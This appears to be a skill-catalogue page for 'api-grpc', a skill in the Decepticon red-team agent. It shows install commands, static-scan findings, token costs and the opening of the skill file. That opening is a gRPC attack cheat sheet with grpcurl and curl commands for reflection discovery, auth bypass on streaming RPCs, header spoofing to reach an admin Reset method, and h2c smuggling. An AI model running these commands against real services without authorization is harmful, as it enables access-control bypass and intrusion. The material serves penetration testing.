Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill grpcgit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/grpc)<a href="https://agentmods.dev/skills/purpleailab/decepticon/grpc"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/grpc/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/grpc"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/grpc.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 3 findings, up to medium
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- medium Data Exfiltration · line 18 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 47 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 93 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00054 | $0.01072 |
| Opus 5 | $0.00027 | $0.00536 |
| Sonnet 5 | $0.00011 | $0.00214 |
| Haiku 4.5 | $0.00005 | $0.00107 |
Grade B, and why
api-grpc scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLmediumData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
grpcurl -plaintext -d @ target:50051 mypackage.MyService/Get Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s -I --http2 https://api.target/svc/method | grep -iE 'content-type|alt-svc' Copies of this mod
1 near-identical copy found in the catalogue:
- grpc — 95% identical, 2 lines differ
How it starts
The opening of the file, as written. The whole thing — 110 lines — stays where its author put it; the contents beside it link to each section on GitHub.
gRPC API Attack Surface
Discovery
# 1. Detect: HTTP/2 + content-type application/grpc[+proto|+json]
curl -s -I --http2 https://api.target/svc/method | grep -iE 'content-type|alt-svc'
# 2. List services via server reflection (often left on in prod)
grpcurl -plaintext target:50051 list
grpcurl -plaintext target:50051 list mypackage.MyService
grpcurl -plaintext target:50051 describe mypackage.MyService.Method
# 3. If reflection disabled, grab .proto from:
# - Sourcemap of a gRPC-Web client app
# - JS bundle: `grep -ro "name: \"\\([A-Z][A-Za-z]*Service\\)" *.js`
# - Mobile app (apktool + jadx → search for FileDescriptorProto)
Attack patterns
Missing authz on streaming RPCs
Many implementations enforce auth on unary RPCs but skip server-streaming or bidi-streaming:
grpcurl -plaintext -H "authorization: bearer" target:50051 \
mypackage.MyService/StreamEvents
# Sometimes returns events without proper auth check
Protobuf field-number reuse / unknown-field exfil
Send a request with extra protobuf fields (numbers not in the .proto) — older servers echo them back or expose internal state via UnknownField handling.
echo '{"id": 1, "1000000": "hidden field"}' | \
grpcurl -plaintext -d @ target:50051 mypackage.MyService/Get
Metadata header injection
gRPC headers (metadata) often map directly to HTTP/2 headers in the proxy layer:
grpcurl -plaintext -H "x-real-ip: 127.0.0.1" -H "x-forwarded-for: 127.0.0.1" \
-H "authorization: bearer $TOKEN" target:50051 mypackage.AdminService/Reset
h2c smuggling — gRPC fronted by Envoy/nginx
HTTP/2 cleartext upgrade can be smuggled past h1/h2 boundary:
# Use h2csmuggler.py against an Envoy fronting a gRPC backend
python3 h2csmuggler.py -x https://front.target/ -t /AdminService.Reset http://internal-grpc:50051
mTLS bypass via SNI mismatch
If the backend validates mTLS but the front terminates TLS, sometimes SNI-different connections bypass:
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 110 lines · 54 tokens per session scan B 4967348f7651
api-grpc is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,491 stars, last pushed 13d ago), licensed Apache-2.0. It adds 54 tokens to every session and 1,072 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it B with 2 findings (sends data to an external url, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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